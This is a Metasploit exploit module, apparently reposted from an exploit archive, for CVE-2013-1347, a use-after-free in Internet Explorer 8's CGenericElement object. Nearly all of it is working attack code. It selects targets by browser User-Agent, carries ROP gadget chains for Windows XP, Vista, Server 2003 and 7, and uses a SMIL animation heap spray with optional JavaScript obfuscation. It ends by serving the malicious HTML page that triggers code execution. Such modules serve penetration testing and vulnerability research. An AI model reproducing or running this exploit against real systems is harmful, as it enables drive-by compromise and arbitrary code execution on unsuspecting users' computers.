Microsoft Internet Explorer – CGenericElement Object Use-After-Free (Metasploit)
## # # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) Website. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', 'EMH', 'juan vazquez', #RCA 'sinn3r' #RCA ], 'References' => [ [ 'CVE', '2013-1347' ], [ 'OSVDB', '92993' ], [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'], [ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], [ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre } ] ], 'Privileged' => false, 'DisclosureDate' => "May 3 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie8_smil(my_target, p) case my_target['Rop'] when :msvcrt case my_target.name when 'IE 8 on Windows XP SP3' align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET when 'IE 8 on Windows Server 2003' align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*")) end else align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*")) end padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4)) js_payload = Rex::Text.to_unescape(p) js = %Q| unicorn = unescape("ABCD"); unicorn2 = unescape("EEEE"); for (i=0; i < 2; i++) { unicorn += unescape("ABCD"); }unicorn += unescape("AB"); unicorn += unescape("#{js_payload}"); animvalues = unescape("#{align_esp}"); for (i=0; i < 0x70/4; i++) { if (i == 0x70/4-1) { animvalues += unescape("#{xchg_esp}"); } else { animvalues += unescape("#{align_esp}"); } } animvalues += unicorn; for(i = 0; i < 13; i++) { animvalues += ";red"; } | if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' rop_gadgets = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") when 'IE 8 on Windows Server 2003' rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591 # PUSHAD # ADD AL,0EF # RETN ].pack("V*") end else rop_gadgets = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop_gadgets case t['Rop'] when :msvcrt rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 else rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 end rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie8_smil(my_target, p) html = %Q| <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { #{js} f0 = document.createElement('span'); document.body.appendChild(f0); f1 = document.createElement('span'); document.body.appendChild(f1); f2 = document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; f2.appendChild(document.createElement('datalist')); f1.appendChild(document.createElement('span')); f1.appendChild(document.createElement('table')); try{ f0.offsetParent=null; }catch(e) { }f2.innerHTML=""; f0.appendChild(document.createElement('hr')); f1.innerHTML=""; CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld());"> <t:ANIMATECOLOR id="myanim"/> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |